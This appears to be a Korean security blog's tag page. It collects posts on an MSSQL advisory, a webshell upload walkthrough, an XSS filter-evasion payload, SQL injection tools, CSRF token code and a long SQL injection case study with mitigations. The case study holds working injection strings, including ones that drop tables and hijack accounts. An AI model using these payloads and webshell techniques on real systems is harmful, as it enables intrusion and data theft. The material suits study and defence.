Search Results for '해킹&보안'


207 posts related to '해킹&보안'

  1. 2009/08/27 MSSQL, 'sp_replwritetovarbin' 프로시저의 힙 오버플로우 취약점
  2. 2009/08/27 KISA에서 발표한 웹해킹방어도구 'CASTLE' 1
  3. 2009/08/27 쿠키 변조를 통한 Mass SQL 인젝션, 툴 사용법과 그 실체 공개! 1
  4. 2009/08/26 Fileupload 취약점 이용하여 공격하기 (Webshell) 1
  5. 2009/08/26 CSRF 취약점 이용한 공격 방어하기
  6. 2009/08/26 인코딩을 통한 XSS필터 회피 기술
  7. 2009/08/26 SQL Injection tools 15종
  8. 2009/08/26 SQL Injection 여러 유형
  9. 2009/08/26 SQL Injection을 보안하기위한 고찰
  10. 2009/08/26 Absinthe Blind SQL Injection Tool
  11. 2009/08/26 SQL Power Injector
  12. 2009/08/26 Hacking RSS and Atom Feed Implementations
  13. 2009/08/26 Malicious Code Injection: It’s Not Just for SQL Anymore
  14. 2009/08/26 웹 어플리케이션 보안 테스트 툴
  15. 2009/08/26 제로보드 취약점 총정리
  16. 2009/08/26 Advanced SQL Injection 한글판
  17. 2009/08/26 다양한 방법의 XSS 2
  18. 2009/08/26 포트 목록 PORT 목록
  19. 2009/08/26 TCP/UDP 스캔
  20. 2009/08/26 사용중인 포트검색하기
  21. 2009/08/26 로컬에 저장된 쿠키정보 보기
  22. 2009/08/26 강추! 구글검색을 이용한 해킹 방어
  23. 2009/08/26 구굴핵스
  24. 2009/08/26 Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램
  25. 2009/08/26 MHTML 취약점을 이용한 해커들의 공격
  26. 2009/08/26 WebKnight를 이용한 SQL Injection 공격 차단
  27. 2009/08/26 필터를 이용하여 HttpSevletRequest 에 validate를 추가하자!
  28. 2009/08/26 Char를 이용한 SQL Injection
  29. 2009/08/26 Web Hacking 5탄 Log Injection
  30. 2009/08/26 Web Hacking 4탄 쿠키취약점 1

최근 SK인포섹에서 발표한 자료 중에 MSSQL의 'sp_replwritetovarbin' 확장 저장 프로시저의 힙 오버플로우 취약점을 악용한 원격코드 실행(Heap Overflow Exploit)과 관련된 내용이 있었습니다.(길기도 하지…)

'오버플로우' 라는 대목에서 이미 예견하셨겠지만, 당하면 해당 서버의 최상위 권한을 탈취당합니다. -_ㅠ

제가 알기로는 마소에서는 MSSQL 2005 이하 버전에 대해서는 업데이트를 중단했습니다. 저희 회사에서도 그렇지만 아직은 그래도 MSSQL 2000을 가장 많이 사용하고 있는데… 과연 이와 관련해서 패치가 나올지 모르겠습니다. 참고로 현재 위 내용에 해당되지 않는 MSSQL 버전은 MSSQL 7.0 SP4와 MSSQL 2005 SP3, MSSQL 2008이라고 합니다.

아무튼 SK인포섹에서는 급한대로 'sp_replwritetovarbin' 확장 저장 프로시저의 퍼블릭 실행 권한을 제거하길 권고하고 있습니다.

전 일단 혹시나 몰라서 웹나이트 룰에 'sp_replwritetovarbin' 과 'replwritetovarbin' 부분만 아스키코드로 변경해서 '7265706C7772697465746F76617262696E' 를 추가해 두었습니다. 그리고 그 동안 눈덩이 처럼 쌓여있던 웹나이트 로그를 오랜만에 뒤적여 보았습니다. 동일한 또는 비슷한 공격이 있었는지 확인해 보고 싶었는데 아쉽게도 없더군요. MSRC에서도 Exploit는 웹 상에 공개되었지만 실질적인 공격은 아직 확인된 바 없다고 했었지요.

아무튼 뭔가 찝찝 합니다. 항상 그랬지만 MSSQL과 관련된 Exploit들은 SQL Injection에 힘을 실어 주니까요.

아참! 'sp_replwritetovarbin' 확장 저장 프로시저의 권한을 설정하는 방법은 아래 링크를 참고해 주세요. 제가 굳이 스샷을 찍지 않아도 되겠네요. 잘 정리 되어 있습니다. 물론 영문입니다. 하지만 그림 파일만 보신다면… 후후~ -_-…

http://blogs.technet.com/swi/archive/2008/12/22/more-information-about-the-sql-stored-procedure-vulnerability.aspx

'sp_replwritetovarbin' 확장 저장 프로시저에 대한 퍼블릭 권한을 제거하였을 경우, 대부분 별문제 없으나 업데이트 가능한 구독 설정을 가진 트랜잭션 복제를 사용할 때 문제가 생긴다고 합니다. '구독' 그리고 '트랜잭션 복제' 라고 하니 SQL 서버 두 대를 가지고 트랜젝션 로그 배포 서버와 구독 서버를 설정했던 기억이 어렴풋이 나네요.

일단 일반 SQL 유저 계정으로는 액세스가 불가능 함을 확인하였습니다. 문제는 웹소스에서 DB서버를 액세스 할 때 SA 계정을 사용하는 웹사이트들 입니다. 시한폭탄을 안고 있는 거지요.

2009/08/27 11:06 2009/08/27 11:06
한국정보보호진흥원(KISA, http://www.kisa.or.kr)에서 웹해킹방어도구인 'CASTLE'을 공식 발표 및 배포하기 시작했습니다.

현재 인터넷침해사고대응지원센터(KRCERT, http://www.krcert.or.kr) 웹사이트의 공지사항 쪽을 통해 배포되고 있는데 ASP, PHP, JSP 등 각 프로그래밍언어 별로 분류되어 별도의 설치 패키지가 제공되고 있으며 물론 친절한 설치 가이드와 사용자 설명서 그리고 간단한 FAQ는 기본적으로 함께 제공되고 있습니다.

사용자 삽입 이미지
 

# 어디서 많이 뵌 분 같은데…-_-;;

위의 그림과 같이 CASTLE의 기본 인터페이스는 흡사 제로보드를 연상케 합니다. 그래서 그런지 왠지 모르게 친숙한 느낌도 들고 -_-; 무엇보다 사용자 설명서만 충분히 탐독하면 실제 사용 방법을 터득하는데까지 그리 오랜 시간이 걸리지 않습니다. 즉, 초심자도 쉽게 적용할 수 있다는 말씀입니다.

기본 구동 방법 역시 제로보드나 기타 설치형 솔루션과 크게 다르지 않습니다. 웹사이트 상에서 매번 불러와지는(include) 헤더 파일에 CASTLE 동작 소스만 삽입해 주면 그걸로 더이상 사용자가 웹소스를 손 볼 일은 없습니다.

단, ASP 용 CASTLE의 경우, 서버에 capicom.dll 파일이 미리 등록되어 있어야지만 CASTLE이 정상 작동합니다. 직접 서버를 운영하고 있는 경우라면 크게 문제되지 않겠습니다만, 웹호스팅 서비스 등 타인이 관리하고 있는 서버의 일정 공간을 임대하여 사용하고 있다면 관리자 또는 관리 업체가 지원해 주지 않는 이상 아쉽게도 사용할 수 있는 방법이 없겠습니다…

앞으로 조금 더 지켜봐야겠지만요. 웹나이트와 CASTLE의 조합으로 웹 해킹 방어율이 한층 상승했음에는 이의가 없습니다.

2009/08/27 11:04 2009/08/27 11:04


최근 국내외 웹사이트들을 또 다시 괴롭히고 있는 Mass SQL 인젝션. 여타 Mass SQL 인젝션과는 달리 쿠키의 취약점을 악용하는 관계로 로그가 자세히 남지 않기 때문에 영문도 모른 채 속수무책으로 당하고 있는 웹사이트들이 많은 것으로 알고 있다.

현재 이 Mass SQL 인젝션 툴은 중국 내에서 상용으로 판매되고 있다고 한다. 아래는 이 Mass SQL 인젝션 툴을 판매하기 위한 목적으로 웹 상에 공개된 데모 시연 영상이다.

http://goomoo.s122.288idc.com/liah/demo/repeaterCookie.htm

화가 나더라도 끝까지 참고, 감상하시면 많은 참고가 되시리라 생각된다. 데모 시연 영상 중에서도 실제 Mass SQL 인젝션 시 웹 서버에서 주입되는 코드들과 그 과정을 유념해서 보시길…

 SWF 파일 다운로드 받기


ps2. 경로가 언제 짤릴지 모르는 관계로 SWF 파일만 따로 다운로드 제공합니다.

ps1. 아무튼 얘네들은 인터넷에서 격리시켜야 되는 거 아닌가… 암적인 존재들…

2009/08/27 11:00 2009/08/27 11:00

파일 업로드 취약점 이용하여 웹셀을 삽입해,제어권을 가져오는 방법에 대해 소개 하겠습니다.

 

Fileupload 취약점 이용하여 공격하기 (Webshell)

 

1. 일반 계저정으로 로그인후 게시판에 접근합니다.

2. 홈페이지 게시판에 웹셀을 업로드하여 삽입합니다.

   서버측에서 방어를 위해 확장자 검증을 한다면, 우회하여 업로드 하도록 합니다.

   *웹서버는 확장자별 실행유무를 주기 때문에 php, asp와 같은 웹 서버용 파일은 업로드를 Java를 통해 막고 있습니다.

로컬 프록시를 통해 php, asp와 같은 웹 서버용 파일 업로드 우회하기
 
paros를 통해 확장자를 기존 txt라고 하여 업로드할때 response 체크로 보내는 데이터를 잡습니다.
 그리고 실제 서버측에 보낼때에는 확장자를 잡은 데이터를 php로 다시 send를 눌려 업로드 합니다.

  *자바 스크립트나 입력값 제한으로는 클라이언트 검사이기 때문에 로컬프록시로 우회가 가능합니다.

 webshell1.png

 

3. 웹셀을 실행해여 서버의 중요 파일 및 권한을 획득하면 됩니다.

webshell2.png 


Fileupload 취약점 방어하기 (Webshell)

1. 게시판에 자바 스크립트를 실행할수 없도록 합니다. (스크립트 태그를 단순 문자로 인식하도록 구성) 

2. 파일 업로드 종류를 제한하고 제한 검사를 클라이언트가 아닌 서버에서 하도록 합니다.

문서  :




웹쉘 프로그램


Cod3rZshell (PHP 웹쉘) 소스보기->




webshell3.png

r57shell 1.24 (PHP 웹쉘) 소스보기->



webshell2.png

출처 : http://itka.kr

2009/08/26 19:23 2009/08/26 19:23

원문 출처 : http://proglamor.tistory.com/category/Security/CSRF

CSRF 처리 관련 ASP 함수 이다.
CSRF 처리 방법은 의외로 간단하게 처리할 수 있다.
입력폼에서 특정 문자조합의 토큰을 생성하여, 세션에 저장하며, 이를 처리 페이지로 넘겨준다.
넘겨받은 토큰과 세션을 비교하여 동일할때만 로직을 수행하게 하면 된다.


## 함수
function CSRP_TokenCreate()
   set_KeyTable = "A0N1B2A3C4N5D6U7E8M9F0LGOHTITJOKLMNOPQRSTUVWXYZ"
   set_Token = ""
   randomize
   for cnt = 1 to 20
      get_KeyPos = int((49 - 1 + 1) * Rnd + 1)
      set_Token = set_Token & mid(set_KeyTable, get_KeyPos, 1)
   next
   session("CSRP_Token") = set_Token
   CSRP_TokenCreate = set_Token
end function

function CSRP_TokenConfirm( get_Token )
   if session("CSRP_Token") = get_Token then
      CSRP_TokenConfirm = True
   else
      CSRP_TokenConfirm = False
   end if
end function


## From.ASP
<%
get_Token = CSRP_TokenCreate()
%>
<form name="input_form" action="Proc.ASP">
<input type="hidden" name="Token" value="<%=get_Token%>">
</form>


## Proc.ASP
<%
req_Token = request("Token")
if not CSRP_TokenConfirm(req_Token) then
   response.write "잘못된 접근 입니다."
   response.end
end if
%>

2009/08/26 19:16 2009/08/26 19:16
HTML 출력에 들어가는 Content-Type의 charset을 변조함으로써, XSS 공격에 사용되는 문자열이 XSS차단필터에 의해서 걸리지 않도록 하는 검사회피기술이다.

예를 들어서, 원래의 XSS 공격 문자열이 <script>alert("XSS")</script> 라고 하자. 그런데, XSS차단필터가 <script>와 같은 문자열을 차단하기 때문에, 이 공격은 성공할 수 없다.

그런데, 만약 서버의 응답 HTML의 Content-Type 선언에서 charset을 변경시킬 수 있다면, 이 XSS차단필터를 통과할 수 있다.

예를 들어, 아래와 같은 문자열은 XSS차단필터에서 보면, 전혀 의미가 없는 문자열일 뿐이다.
%A2%BE%BCscript%BEalert(%A2XSS%A2)%BC/script%BE

그렇지만, 위의 문자열을 US-ASCII charset으로 디코딩을 하면 전혀 얘기가 달라진다. US-ASCII는 7비트만을 사용하기 때문에, 위의 의미없어 보이는 문자열은 다시 원래의 XSS공격 문자열로 디코딩되어 사용자의 브라우저에서 실행될 수 있다.

이렇게 되는 과정을 조금만 더 살펴보자.
위의 문자 중에서 %BC를 2진수로 풀어보면, 10111100 이다. 그런데, US-ASCII에서 7비트만을 사용하므로, 최상위 1비트를 무시하면, %BC는 00111100으로 해석되고 이것은 >문자가 되는 것이다.

이 공격 방법은 현재 Internet Explorer에서 동작하는 것으로 확인이 된다. 그리고 서버의 응답에서 Content-Type 선언의 charset을 변경시킬 수 있어야만 한다.

이 공격 방법이 포스팅된 블로그의 실제 예제를 한번 살펴보자.

링크는 별 문제없고, 코드도 실행되지 않는다.

그런데, 이 링크에서 charset을 UTF-8에서 US-ASCII로 변경하게 되면 다른 결과를 보여준다. 소스보기를 해보면, Content-Type선언의 charset이 US-ASCII로 설정된 것을 볼 수 있다.

<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">

2009/08/26 19:13 2009/08/26 19:13


1. SQLIer -
취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검합니다. 다운로드

2. SQLbftools -
블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드

3. SQL Injection Brute-forcer - SQL Injection
공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드

5. SQL Brute -
블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드

5. BobCat - SQL Injection
취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드

6. SQLMap -
블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드

7. Absinthe - GUI
기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드

8. SQL Injection Pen-testing Tool -
웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드

9. SQID - SQL Injection Digger.
웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드

10. Blind SQL Injection Perl Tool - bsqlbf
SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드

11. SQL Power Injection Injector -
이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 

12. FJ-Injector Framework -
웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드

13. SQLNinja - MS SQL
서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드

14. Automatic SQL Injector - SQLNinja
와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드

15. NGSS SQL Injector -
데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드

2009/08/26 19:08 2009/08/26 19:08

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.

The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.

When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.

So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.

We speculate that the underlying SQL code looks something like this:

SELECT fieldlist FROM table WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later. 

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist FROM table WHERE field = 'steve@unixwiz.net'';

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:


Your login information has been mailed to random.person@example.com.

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.

We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error

The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.

So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';

The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.

Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.

Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --';

As a result of this process, we found several valid field names:

  • email
  • passwd
  • login_id
  • full_name

There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'bob@example.com' AND passwd = 'hello123';

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --';
-- Boom!

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = 'steve@unixwiz.net' WHERE email = 'bob@example.com';

After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.

We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.

We are also aware that not all approaches work with all databases, and we can touch on some of them here.

Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.

Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses

It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.

The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.

Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.


Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist FROM customers WHERE name = 'Bill O''Reilly';
-- works OK
However, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist FROM customers WHERE name = '\''; DROP TABLE users; --';
-- Boom!
The no_no_no_expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
